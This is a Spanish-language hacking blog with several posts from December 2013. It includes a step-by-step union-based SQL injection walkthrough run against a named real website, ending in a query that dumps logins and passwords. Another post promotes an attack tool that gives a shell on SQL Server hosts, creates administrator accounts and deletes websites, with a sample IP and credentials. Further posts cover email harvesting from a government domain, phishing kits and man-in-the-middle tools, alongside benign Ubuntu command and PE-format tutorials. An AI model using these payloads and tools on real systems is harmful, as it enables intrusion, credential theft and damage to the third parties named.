468x60 Ads


martes, 31 de diciembre de 2013

MSS Exploiter


MSS Exploiter

MSS Exploiter es una herramienta para la automatización de ataques a servidores Windows a través de SQL Server. Otra excelente herramienta de r00tw0rm programada por CorruptedByte.

Muchas veces nos topamos con vulnerabilidades como arbitrary file download, transversal directory, local file inclusion, oracle padding attack u otras y esto solo nos da acceso a archivos de configuración donde podemos encontrar el usuario y contraseña de SQL Server pero con esto muchas veces solo nos da acceso a la base de datos donde encontramos usuarios y contraseñas, después tenemos que acceder a el panel del CMS, luego tratar de subir shell, después escalar privilegios, pero con esta herramienta nos ahorramos todo ese trabajo creando una shell directa con el servidor windows, entre otras cosas.

Instalación de dependencias:

Para que funcione correctamente MSS Exploiter necesitan las siguientes dependencias.
[+]install setuptools
    apt-get install python-setuptools


[+]install Cython
    wget http://cython.org/release/Cython-0.16.tar.gz
    tar -xzvf Cython-0.16.tar.gz
    cd Cython-0.16
    python setup.py install




[+]Install pymssql
    Download: http://code.google.com/p/pymssql/downloads/detail?name=pymssql-2.0.0b1-dev-20111019.tar.gz
    Extract: tar -xzvf pymssql-2.0.0b1-dev-20111019.tar.gz
    Install: python setup.py install




[+]rdesktop install
Install: apt-get install rdesktop
 
Descarga:

MediaFire

Password: R00tW0rmTeam

Ejemplo de uso:

python mssexploiter.py

En el primer menú encontraremos 2 opciones, la primera es en el caso de que ya tengamos el usuario y contraseña de la base de datos.

[1]Enter SQL credentials
[2]Dictionary attack
Choise an option: 1

Si accedes a la primera opción deberás introducir el usuario y contraseña de SQL Server

Introduce the ip host to connect: 91.214.97.252
Introduce the DB user: sa
Introduce the DB password: 5QLP455w0rd

Despues tendras acceso a todas las funciones de la aplicacion:

[1]Start microsoft shell
[2]Create user with administrative  permissions
[3]Enable remote desktop
[4]Disable remote desktop
[5]connect with remote desktop
[6]SQL Mannager
[7]Process killer
[8]Delete all websites
[9]Stop/start/restart web server (IIS)
[10]Shutdown PC

La primera opción es una shell a través de SQL Server con esto puedes echar a volar tu imaginación y escalar privilegios por tu cuenta, pero también tienes la segunda opción para crear un usuario con privilegios administrativos, ademas con la tercera opción puedes habilitar el escritorio remoto en caso de que no este habilitado y con esto ya tienes acceso total al sistema.

Tambien tiene un SQL Manager en caso de que seas usuario linux y no tengas el SQL Server managment sutudio o una herramienta para acceder a dicho servidor SQL Server asi como un process killera, funciones de IIS y una function simple para apagar el servidor por completo.
  
Video:



domingo, 29 de diciembre de 2013

OWASP DirBuster


OWASP DirBuster

OWASP DirBuster es una aplicación en Java diseñado para realizar Brute Force en los Directorios y Archivos en servidores web/aplicación. A menudo es el caso ahora de lo que parece un servidor web en un estado de la instalación por defecto no es en realidad, y tiene páginas y aplicaciones ocultas en su interior.

Descargamos OWASP DirBuster, después de haberlo descargado, y extraido, lo podemos ejecutar de la siguiente forma ( se necesita Java ).

tar xvjf -d DirBuster-0.12.tar.bz2
cd DirBuster-0.12
java -jar DirBuster-0.12.jar

Al ejecutar OWASP DirBuster se mostrara la siguiente ventana.



Donde dice Target, colocamos la direccion del sitio web que querramos poner a prueba y realizar Brute Foce.

Luego le dan en Browse y se abrira una carpeta, para que elijan alguna lista de los diccionarios que van a usar para realizar el Brute Force.

Le dan Start y la herramienta empezara a auditar el sitio web que hayan elegido.

El tiempo que demora la herramienta en terminar dicho proceso, depende si el sitio web es grande o pequeño.




viernes, 27 de diciembre de 2013

TheHarvester - Information Gathering Tool


TheHarvester - Information Gathering Tool

TheHarvester es una herramienta para recopilar cuentas de correo electrónico, nombres de usuario y nombres de host o subdominios de diferentes fuentes públicas como motores de búsqueda y los servidores de claves PGP.

Esta herramienta está destinada a ayudar a los probadores de penetración en las primeras etapas del proyecto, es una herramienta muy simple, pero muy eficaz.

Las fuentes de apoyo son los siguientes:

    Google - correos electrónicos, subdominios o nombres de host
    Google perfiles - los nombres de los empleados
    Bing - correos electrónicos, subdominios o nombres de hosts, servidores virtuales
    Pgp servidores, correos electrónicos, subdominios o nombres de host
    Linkedin - Los nombres de los empleados
    Exalead - correos electrónicos, nombres de host o subdominio

Utilizando la Herramienta:

Primero Descargamos TheHarvester

cd /media/Stuxnet/Pentesting/theHarvester
stuxnet@stuxnet:/media/Stuxnet/Pentesting/theHarvester$ l
COPYING         hostchecker.pyc  parser.pyc       TODO
discovery/      LICENSES         README           version.txt
hostchecker.py  parser.py        theHarvester.py
stuxnet@stuxnet:/media/Stuxnet/Pentesting/theHarvester$ python theHarvester.py

*************************************
*TheHarvester Ver. 2.0 (reborn)     *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
*************************************


Usage: theharvester options 

       -d: Domain to search or company name
       -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,exalead,all)
       -s: Start in result number X (default 0)
       -v: Verify host name via dns resolution and search for vhosts(basic)
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp does'nt use this option)
       -f: Save the results into an XML file

Examples:./theharvester.py -d microsoft.com -l 500 -b google
         ./theharvester.py -d microsoft.com -b pgp
         ./theharvester.py -d microsoft -l 200 -b linkedin

stuxnet@stuxnet:/media/Stuxnet/Pentesting/theHarvester$ python theHarvester.py -d guatemala.gob.gt -l 500 -b google

*************************************
*TheHarvester Ver. 2.0 (reborn)     *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
*************************************


[-] Searching in Google:
 Searching 100 results...
 Searching 200 results...
 Searching 300 results...
 Searching 400 results...
 Searching 500 results...
 Searching 600 results...

[+] Emails found:
 -------------
ottoperezmolina@guatemala.gob.gt
gobierno@guatemala.gob.gt
gobiemo@guatemala.gob.gt

[+] Hosts found
 -----------
190.93.243.50:www.guatemala.gob.gt



jueves, 26 de diciembre de 2013

Comandos Básicos Ubuntu

Comandos Básicos Ubuntu

Aquí les dejo un listado de comandos básicos de ubuntu, nunca están de más para los con más experiencia y sin duda son una grán ayuda para los menos expertos.

Además de ser un intérprete interactivo de los comandos que tecleamos, el Shell es también un lenguaje de programación, el cual nos permite escribir guiones que permiten juntar varias órdenes en un fichero. Similar a los ficheros batch de MS-DOS.



Lista los ficheros de un directorio concreto

ls

Lista también las propiedades y atributos   

ls -l  

Lista ficheros incluidos los ocultos de sistema

ls -la 

Cambia de directorio

cd nom_directorio

Muestra el contenido de un fichero de forma paginada  

more nom_fichero

Lista las ficheros de forma paginada   

ls -la | more 

Mueve y/o renombra un fichero. 

mv [ruta1]fichero1 [ruta2]fichero2  

Elimina archivos o directorios

rm archivo o directorio   

Borra un directorio recursivamente  

rm -R directorio 

Realiza una copia de un fichero   

cp archivo1 archivo2

Muestra las úlimas líneas de un archivo de forma estática

tail nom_archivo

Muestra las últimas líneas del fichero de manera dinámica

tail -f nom_archivo

Muestra las primeras (número)  lí­neas de un fichero 

head  -numero nom_archivo

Crea un directorio

mkdir nom_directorio

Elimina un directorio

rmdir nom_directorio

Cambia los permisos de acceso de un fichero

chmod xxx nom_fichero 

Cambia el propietario de un fichero o directorio

chown usuario fichero/directorio 

Cambia el grupo (-R para realizar el cambio recursivo)   

chgrp grupo fichero/directorio

Muestra una lista de los procesos activos

ps aux

Elimina un proceso via nº PID que le identifica 

kill -x(de 0 a 9) PID 

Vemos el listado de dispositivos montados 

mount

Montaje de la disquetera   

mount /dev/fd0 /mnt/floppy      | mount /mnt/cdrom 
| Punto de montaje del CD-ROM

Desmonta los puntos de montaje anteriores

umount

Visualiza el nombre de la máquina

hostname

Escanea el disco   

fsck

Apaga la máquina de manera correcta   

init 0

Reinicia la máquina   

init 6

Comandos de compresión de archivos  " .Z"

compress/uncompress

Descompresión de archivos " .gz"  

gunzip nom_archivo.gz

Descomprime archivos  " .tar"

tar xvf fichero.tar 

Lista procesos de CPU

top 

Encuentra ficheros según patrón

find / -name nom -print 

Visualiza el directorio actual

pwd

Muestra las lineas del archivo que contienen la cadena

grep 'cadena' archivo

Da la hora y la fecha del sistema

date

Muestra el calendario del mes actual

cal 

Borra la pantalla

clear

Informa de los usuarios conectados   

who

Más información sobre nuestra máquina   

whoami

Información más completa que who

finger

Entrar a la sesión como root (necesario passwd)

su

Estando como root entramos como otro usuario   

su nom_usuario 

Gestión de particiones ('m' = mención de comandos)

fdisk

Configuración gráfica de dispositivos

setup 

Instalación de paquetes RedHat   

rpm -i nombre_paquete

Arranca el entorno gráfico

startx

Salir del entorno gráfico a un terminal 

Ctrl+Alt+F'x'

Conmutar entre terminales

Alt+F'x'

Configuración del Kernel   

make config 

Entorno gráfico de configuración del Kernel   

make xconfig

Información de las propiedades de red, equivale a ifconfig /all en Windows 

ifconfig -a

Copias de seguridad y restauración

dump/restore 

Podremos cambiar la contraseña de nuestra cuenta.

passwd

Podremos cambiar la contraseña de root

sudo passwd

Actualiza los repositorios

sudo apt-get update

Actualiza nuestro sistema

sudo apt-get upgrade
  


Ghost Phisher


Ghost Phisher

Ghost Phisher es una aplicación de seguridad que viene incorporado con un servidor DNS falso, servidor DHCP falso, servidor HTTP falso y también tiene un espacio integrado para la captura automática y el registro de las credenciales HTTP método del formulario a una base de datos. El programa podría ser utilizado para servicio de solicitud de DHCP, DNS o peticiones de los ataques de phishing.

Requisitos:
    Aircrack-NG
    Python-Scapy
    Python Qt4
    Python
    Subversion
    Xterm
    Metasploit Framework (Opcional)

Screens:




Video:



Ghost Phisher


martes, 24 de diciembre de 2013

Loki


Loki

Loki es una impresionante herramienta de manipulación de redes a nivel de capa 2/3 creada por Daniel Mende, René Graf y Enno Rey, Loki provee una interfaz gráfica de usuario (GUI) para realizar múltiples ataques a protocolos, permitiéndonos manipular protocolos de red para realizar ataques MITM (Man-In-The-Middle) y otras actividades maliciosas. 

Los protocolos soportados son:

    ARP
    HSRP, HSRPv2
    RIP
    BGP
    OSPF
    EIGRP
    WLCCP
    VRRP, VRRPv3
    BFD (Protocolo de Reenvio Bidireccional)
    LDP (Protocolo de Diustribución de Etiquetas)
    MPLS (re-etiquetado, interfaz de tunel)






EiGRP Route Injection using Loki



Route injection in OSPF using Loki



OSPF Authentication crack using Loki 



lunes, 23 de diciembre de 2013

Union Based Sql Injection


Union Based Sql Injection

0x1: Concepto:

Una Inyección SQL es una vulnerabilidad centrada en consultas hacia la base de datos, suele suceder cuando se inyecta una variable de consultas desde una identidad hacia la base de datos y asi obtener directamente información del usuario administrador, todas las tablas y columnas de la web.

El operador UNION se utiliza en las inyecciones SQL para unirse a una consulta, deliberadamente forjada por el consultor, a la consulta original. El resultado de la consulta realizada se unirá al resultado de la consulta original, permitiendo que el consultor obtener los valores de los campos de otras tablas.

0x2: Encontrar una página web vulnerable:

Para encontrar nuestra página vulnerable utilizaremos algunos dorks.
news.php?ID=
product.php?ID=
content.php?ID=
index.php?ID=

Para saber si nuestra página es vulnerable agregamos ' ) \ " al final.

http://www.cecit.ma/news.php?id=44'


Como podemos observar es vulnerable.

0x3: Encontrar el número de columnas

Para encontrar el número de columnas utilizaremos la cláusula ORDER BY.

http://www.cecit.ma/news.php?id=44 ORDER BY 1-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 2-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 3-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 4-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 5-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 6-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 7-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 8-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 9-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 10-- [  Error ]

Como podemos observar al hacer la consulta ORDER BY 10 muestra el siguiente error:


Esto quiere decir que la columna 10 no existe, solo existen 9.

0x4: Encontrar la columna vulnerable

Ahora debemos ejecutar la instrucción UNION SELECT

http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,4,5,6,7,8,9--


Como podemos ver 4 y 5 son las columnas vulnerables...

0x5: Recopilación de Información: Nombre de la base de datos, Usuario actual, Versión SQL.

Reemplazamos el número 5 por: concat(database(),0x3a,user(),0x3a,version())

http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,4,concat(database(),0x3a,user(),0x3a,version()),6,7,8,9--


Database Name : cecit_db_camara
Current User  : cecit_camara@localhost
SQL Version   : 5.5.32

0x6: Encontrar el nombre de las Tablas:

Para encontrar los nombres de tablas, usaremos la siguiente la sintaxis:

http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9 FROM information_schema.tables WHERE table_schema=database()--


0x7: Encontrar el nombre de las columnas en el nombre de las tablas:

Para encontrar los nombres de columnas, usaremos la siguiente la sintaxis:

http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9 FROM information_schema.columns WHERE table_name = 0x7574696c69736174657572

Nota: para extraer esta información deben encriptar el nombre de la tabla en hexadecimal anteponiendo 0x, Para esto estoy utilizando la tabla utilisateur quedando 7574696c69736174657572.

0x8: Extraer Username y Passwords:

Para extraer Username y Passwords, usaremos la siguiente la sintaxis:

http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,group_concat(login,0x3a,password),5,6,7,8,9 FROM utilisateur--+



viernes, 20 de diciembre de 2013

SPToolKit (Kit de herramientas para Phishing)


SPToolKit (Kit de herramientas para Phishing)

SPToolKit es un completo conjunto de herramientas de auto-contenido de phishing de correo electrónico que se puede instalar y configurar en menos de 15 minutos y permite sensibilizar al “eslabón más débil” sobre los peligros de este tipo de ataques y los efectos negativos que pueden causar en las compañías.

Para la instalación debe tener servicios como apache, php, mysql, donde pueda subir la herramienta de forma sencilla y dirigida para su instalación.

Descargamos SPToolKit:

git clone https://github.com/sptoolkit/sptoolkit/

Como configurar SPToolKit:

Para la instalación debe tener servicios como apache, php, mysql, donde pueda subir la herramienta de forma sencilla y dirigida para su instalación. A continuación les muestro algunos pasos de instalación y el frame donde están las opciones para realizar las pruebas.

1.- Se debe lanzar el paquete y mostrara los primeros pasos para la instalación:


2.- Se aceptan los términos de instalación y herramientas (bajo su responsabilidad):

3.- Posterior a ello se debe hacer algunas comprobaciones antes de empezar y ajustarlas si no están bien configuradas:


4.- Posterior a la corrección permitirá la configuracion la base de datos y el las credenciales de administración:

5.- Para finalmente tener acceso al panel de administración que le permitirá realizar Phishing de forma sencilla en la compañía y medir gráficamente su comportamiento:






jueves, 19 de diciembre de 2013

Introducción: Estructura PE (Portable Executable)


Introducción: Estructura PE (Portable Executable)

Que es la estructura PE?

El archivo PE (Portable Executable) es el formato que utiliza windows para los ejecutables. En fin, en pocas palabras es un .exe o un .dll

Para que sirve conocerlo?

En Ing inversa muchas veces no es necesario conocer con mucho detalle la estructura que tiene este archivo, sin embargo, para problemas más complicados si resultará util conocerlo. Nos permite separar las secciones del exe, analizarlas por separado, crear nuevas secciones, o modificar las existentes.

Las aplicaciones son bastantes, pero lo mas importante es que con esto se entenderá mejor porque pasan algunas cosas y como podemos resolverlas

Estructura basica:

Vamos por parte, primero con una división a grandes razgos de las partes del archivo, y despues vamos ir entrando en detalle en las mas importantes

El archivo PE simplemente un archivo binario, que tiene una estructura, que es basicamente esta:

--------------------
|  ENCABEZADO DOS  |
--------------------
|  STUB DOS        |
--------------------
|  ENCABEZADO NT   |
--------------------
|  ENCABEZADO SEC  |
--------------------
|  STUB NT         |
--------------------

Como se ve el archivo tiene 5 partes, asi de simple XD, los encabezados tienen un tamaño constante y en ellos están definidas todas las propiedades del archivo. Los stub contienen al programa en sí, los analizaremos por parte.

Sobre el Encabezado DOS y el Stub DOS

Tanto el encabezado DOS como el stub DOS no nos interesará tanto, están ahi por una especie de compatibilidad, si estamos ejecutando el programa en windows se ignorará toda esta parte, generalmente eso contiene un pequeño programa en DOS que solamente imprime en pantalla algo como esto:

"This program cannot be run in DOS mode."para indicar que estamos tratando de ejecutar un archivo que no corre en DOS.

Encabezado DOS

El encabezado DOS, asi como ya dije, es una estructura de datos que contiene variables que definen el programa, las variables que contiene este encabezado las podemos sacar de la ayuda de windows (msdn.microsoft.com).

typedef struct _IMAGE_DOS_HEADER
{
     WORD e_magic;
     WORD e_cblp;
     WORD e_cp;
     WORD e_crlc;
     WORD e_cparhdr;
     WORD e_minalloc;
     WORD e_maxalloc;
     WORD e_ss;
     WORD e_sp;
     WORD e_csum;
     WORD e_ip;
     WORD e_cs;
     WORD e_lfarlc;
     WORD e_ovno;
     WORD e_res[4];
     WORD e_oemid;
     WORD e_oeminfo;
     WORD e_res2[10];
     DWORD e_lfanew;
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

Esto es el encabezado, no nos interesa tanto, lo importante aqui es que, para leer todo el archivo debemos por lo menos saber el tamaño que ocupa este encabezado, y lo mas importante es que en este encabezado está la variable que indica donde comienza el encabezado del NT (que es realmente el encabezado que nos interesa) dentro de esta variable e_lfanew se indica donde comienza el encabezado NT, vamos a ver con un ejemplo, esto es lo que se ve con un editor hexadacimal.

"000000000  4D 5A 90 00 03 00 00 00-04 00 00 00 FF FF 00 00   |MZ##############|"
"000000010  B8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00   |########@#######|"
"000000020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000030  00 00 00 00 00 00 00 00-00 00 00 00 80 00 00 00   |################|"
"000000040  0E 1F BA 0E 00 B4 09 CD-21 B8 01 4C CD 21 54 68   |######.#!##L#!Th|"
"000000050  69 73 20 70 72 6F 67 72-61 6D 20 63 61 6E 6E 6F   |is program canno|"
"000000060  74 20 62 65 20 72 75 6E-20 69 6E 20 44 4F 53 20   |t be run in DOS |"
"000000070  6D 6F 64 65 2E 0D 0D 0A-24 00 00 00 00 00 00 00   |mode....$#######|"
"000000080  50 45 00 00 4C 01 05 00-24 A9 8A 4C 00 6C 00 00   |PE##L###$##L#l##|"

Ahora hay que fijarse en la estructura del DOS_HEADER y lo que se ve en el archivo el tamaño del encabezado podemos calcular 30*WORD+1*DWORD = 64 bytes el encabezado tiene 64 bytes = 0x40 bytes (resulta mas comodo leer todo en hexadecima) en el archivo separé con una linea, donde termina este encabezado, es exactamente en el offset 0x40.

Ahora vamos a leer la variable que nos interesa (DWORD e_lfanew), que son los ultimos 4 bytes del encabezado. en el archivo vemos que en esos 4 bytes tenemos "80 00 00 00" no hay que perder de vista que, dentro del archivo las variables se guardan con el byte menos significativo a la izquierda, asi que, si queremos leer esto como un numero hexa, debemos invertir este valor, tomando de 2 en 2, este valor en hexa será 0x00000080 (si no se entendió coloco aqui un ejemplo, si vemos en el archivo una variable asi "01 02 03 04" el valor en hexadecimal de esa variable es 0x04030201, se debe invertir los numero de 2 en 2)

Bueno, con esto ya podemos leer donde empieza el encabezado del NT, está en el offset 0x00000080

"000000070  6D 6F 64 65 2E 0D 0D 0A-24 00 00 00 00 00 00 00   |mode....$#######|"
"000000080  50 45 00 00 4C 01 05 00-24 A9 8A 4C 00 6C 00 00   |PE##L###$##L#l##|"
"000000090  31 03 00 00 E0 00 07 03-0B 01 02 38 00 5A 00 00   |1##########8#Z##|"
"0000000A0  00 68 00 00 00 0C 00 00-30 11 00 00 00 10 00 00   |#h######0#######|"

Stub DOS

El codigo en DOS realmente no nos interesa, pero solo para marcarlo, donde comienza y donde termina, está a continuación del Encabezado DOS y termina antes del encabezado del NT, asi que, en este caso, lo que tenemos en el stub del DOS es esto:

"000000040  0E 1F BA 0E 00 B4 09 CD-21 B8 01 4C CD 21 54 68   |######.#!##L#!Th|"
"000000050  69 73 20 70 72 6F 67 72-61 6D 20 63 61 6E 6E 6F   |is program canno|"
"000000060  74 20 62 65 20 72 75 6E-20 69 6E 20 44 4F 53 20   |t be run in DOS |"
"000000070  6D 6F 64 65 2E 0D 0D 0A-24 00 00 00 00 00 00 00   |mode....$#######|"

Como se puede ver, ahi esta el texto que dice que la aplicación no corre en DOS

Encabezado NT

El encabezado NT es un poco mas complicado que el de DOS, veamos su estructura.

    typedef struct _IMAGE_NT_HEADERS {
      DWORD                 Signature;
      IMAGE_FILE_HEADER     FileHeader;
      IMAGE_OPTIONAL_HEADER OptionalHeader;
    } IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;     

Esta es su definición, la podemos encontrar en esta pagina IMAGE_NT_HEADERS

Esta estructura todavia no nos dice mucho, solo que tiene un DWORD, que es un valor de referencia, siempre vale 0x00004550, realmente conviene leer esta variable como un char* "50 45 00 00", en ascii significa 'PE\0\0', esto se puede ver facilmente y permite identificar donde comienza el encabezado NT sin tener que hacer el cálculo que hicimos hace un rato.

Esto lo vemos aqui, (ver los primeros 4 bytes)

"000000080  50 45 00 00 4C 01 05 00-24 A9 8A 4C 00 6C 00 00   |PE##L###$##L#l##|"

Veamos las estructuras contenidas en esta estructura: IMAGE_FILE_HEADER, IMAGE_OPTIONAL_HEADER

IMAGE_FILE_HEADER

typedef struct _IMAGE_FILE_HEADER {
  WORD  Machine;
  WORD  NumberOfSections;
  DWORD TimeDateStamp;
  DWORD PointerToSymbolTable;
  DWORD NumberOfSymbols;
  WORD  SizeOfOptionalHeader;
  WORD  Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;


No vamos a ver con detalle todas las variables de este encabezado, solo las que nos interesan WORD Machine: nos dice el tipo de maquina para la que fue compilado: 386,486,586,... DWORD NumberOfSections: numero de secciones del archivo, esto es importante, si es que queremos agregar secciones.

DWORD TimeDateStamp: la fecha en la que fue compilado DWORD PointerToSymbolTable: puntero a la tabla de simbolos DWORD NumberOfSymbols: numero de simbolos (despues veremos esto en detalle) WORD SizeOfOptionalHeader: tamaño del IMAGE_OPTIONAL_HEADER, esto es interesante ya que, haciendo unas operaciones podemos llegar al stub del NT (donde comienza realmente el codigo) del encabezado DOS tenemos el offset del inicio de esta estructura, si a eso le sumamos el tamaño del IMAGE_FILE_HEADER y del IMAGE_OPTIONAL_HEADER, llegaremos al inicio del Stub NT (despues veremos en detalle como hacer este calculo)

sigamos con el IMAGE_OPTIONAL_HEADER

typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  DWORD                BaseOfData;
  DWORD                ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

DWORD SizeOfCode; indica el tamaño total del code, osea, es la suma de los tamaños de las secciones que contienen codigo.
DWORD AddressOfEntryPoint; direccion del EntryPoint
DWORD BaseOfCode esto indica donde empieza la seccion que contiene el codigo (generalmente la seccion .text)
DWORD BaseOfData; indica donde empieza la seccion que contiene las constantes del programa (generalmente .data)
DWORD ImageBase; todas las direcciones virtuales están colocadas relativas a esta direccion, asi que a todas hay que sumarle este valor para sacar la direccion
DWORD SectionAlignment; Alineacion de las secciones, en memoria
DWORD FileAlignment; alineacion de las secciones, en el archivo
DWORD SizeOfImage; suma de los tamaños de las secciones
DWORD SizeOfHeaders; suma de los tamaños de los encabezados de las secciones
DWORD NumberOfRvaAndSizes; esto da el numero de secciones y tamaños de cada seccion, esto es necesario para leer la info de IMAGE_DATA_DIRECTORY DataDirector, esta estructura que contiene la direccion de las secciones en el archivo, y los tamaños de estas secciones.
estas secciones son secciones especiales, que siempre deben estar en los programas, ya vamos a ver que tienen una relacion con las secciones reales del programa, pero en nuestro programa podemos tener otras secciones que no estén en esta tabla.
las secciones de esta tabla son:
{"Export Table","Import Table","Resource Table","Exception Table","Certificate Table","Base Relocation Table","Debug","Architecture","Global Ptr","TLS Table","Load Config Table","Bound Import","IAT","Delay Import Descriptor","COM+ Runtime Header","Reserved"}
si alguna de estas secciones no existe en el programa se coloca su direccion 0x0 y tamaño 0x0, como podremos ver en los programas reales

Aqui se puede ver la definicion de esa estructura

    typedef struct _IMAGE_DATA_DIRECTORY {
      DWORD VirtualAddress;
      DWORD Size;
    } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;  

El IMAGE_OPTIONAL_HEADER en el ejecutable de ejemplo se puede ver aqui: (comienza en el offset 0x000000098 y termina en el 000000177)

"000000090  31 03 00 00 E0 00 07 03-0B 01 02 38 00 5A 00 00   |1##########8#Z##|"
"0000000A0  00 68 00 00 00 0C 00 00-30 11 00 00 00 10 00 00   |#h######0#######|"
"0000000B0  00 70 00 00 00 00 40 00-00 10 00 00 00 02 00 00   |#p####@#########|"
"0000000C0  04 00 00 00 01 00 00 00-04 00 00 00 00 00 00 00   |################|"
"0000000D0  00 B0 00 00 00 04 00 00-A9 4C 01 00 03 00 00 00   |#########L######|"
"0000000E0  00 00 20 00 00 10 00 00-00 00 10 00 00 10 00 00   |## #############|"
"0000000F0  00 00 00 00 10 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000100  00 A0 00 00 B8 04 00 00-00 00 00 00 00 00 00 00   |################|"
"000000110  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000120  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000130  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000140  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000150  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000160  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000170  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   |########.text###|"

Aqui vemos eso mismo, pero ordenando cada variable (visto con el ollydebg): hice un salto de linea donde comienza la tabla de secciones (esto no es el encabezado de las secciones, que está a continuación)

00400098        0B01         DW 010B              ; MagicNumber = PE32
0040009A        02           DB 02                ;  MajorLinkerVersion = 2
0040009B        38           DB 38                ;  MinorLinkerVersion = 38 (56.)
0040009C        005A0000     DD 00005A00          ;  SizeOfCode = 5A00 (23040.)
004000A0        00680000     DD 00006800          ;  SizeOfInitializedData = 6800 (26624.)
004000A4        000C0000     DD 00000C00          ;  SizeOfUninitializedData = C00 (3072.)
004000A8        30110000     DD 00001130          ;  AddressOfEntryPoint = 1130
004000AC        00100000     DD 00001000          ;  BaseOfCode = 1000
004000B0        00700000     DD 00007000          ;  BaseOfData = 7000
004000B4        00004000     DD 00400000          ; ImageBase = 400000
004000B8        00100000     DD 00001000          ;  SectionAlignment = 1000
004000BC        00020000     DD 00000200          ;  FileAlignment = 200
004000C0        0400         DW 0004              ;  MajorOSVersion = 4
004000C2        0000         DW 0000              ;  MinorOSVersion = 0
004000C4        0100         DW 0001              ;  MajorImageVersion = 1
004000C6        0000         DW 0000              ;  MinorImageVersion = 0
004000C8        0400         DW 0004              ;  MajorSubsystemVersion = 4
004000CA        0000         DW 0000              ;  MinorSubsystemVersion = 0
004000CC        00000000     DD 00000000          ;  Reserved
004000D0        00B00000     DD 0000B000          ;  SizeOfImage = B000 (45056.)
004000D4        00040000     DD 00000400          ;  SizeOfHeaders = 400 (1024.)
004000D8        A94C0100     DD 00014CA9          ;  CheckSum = 14CA9
004000DC        0300         DW 0003              ;  Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI
004000DE        0000         DW 0000              ;  DLLCharacteristics = 0
004000E0        00002000     DD 00200000          ;  SizeOfStackReserve = 200000 (2097152.)
004000E4        00100000     DD 00001000          ;  SizeOfStackCommit = 1000 (4096.)
004000E8        00001000     DD 00100000          ;  SizeOfHeapReserve = 100000 (1048576.)
004000EC        00100000     DD 00001000          ;  SizeOfHeapCommit = 1000 (4096.)
004000F0        00000000     DD 00000000          ;  LoaderFlags = 0
004000F4        10000000     DD 00000010          ;  NumberOfRvaAndSizes = 10 (16.)
004000F8        00000000     DD 00000000          ;  Export Table address = 0
004000FC        00000000     DD 00000000          ;  Export Table size = 0
00400100        00A00000     DD 0000A000          ;  Import Table address = A000
00400104        B8040000     DD 000004B8          ;  Import Table size = 4B8 (1208.)
00400108        00000000     DD 00000000          ;  Resource Table address = 0
0040010C        00000000     DD 00000000          ;  Resource Table size = 0
00400110        00000000     DD 00000000          ;  Exception Table address = 0
00400114        00000000     DD 00000000          ;  Exception Table size = 0
00400118        00000000     DD 00000000          ;  Certificate File pointer = 0
0040011C        00000000     DD 00000000          ;  Certificate Table size = 0
00400120        00000000     DD 00000000          ;  Relocation Table address = 0
00400124        00000000     DD 00000000          ;  Relocation Table size = 0
00400128        00000000     DD 00000000          ;  Debug Data address = 0
0040012C        00000000     DD 00000000          ;  Debug Data size = 0
00400130        00000000     DD 00000000          ;  Architecture Data address = 0
00400134        00000000     DD 00000000          ;  Architecture Data size = 0
00400138        00000000     DD 00000000          ;  Global Ptr address = 0
0040013C        00000000     DD 00000000          ;  Must be 0
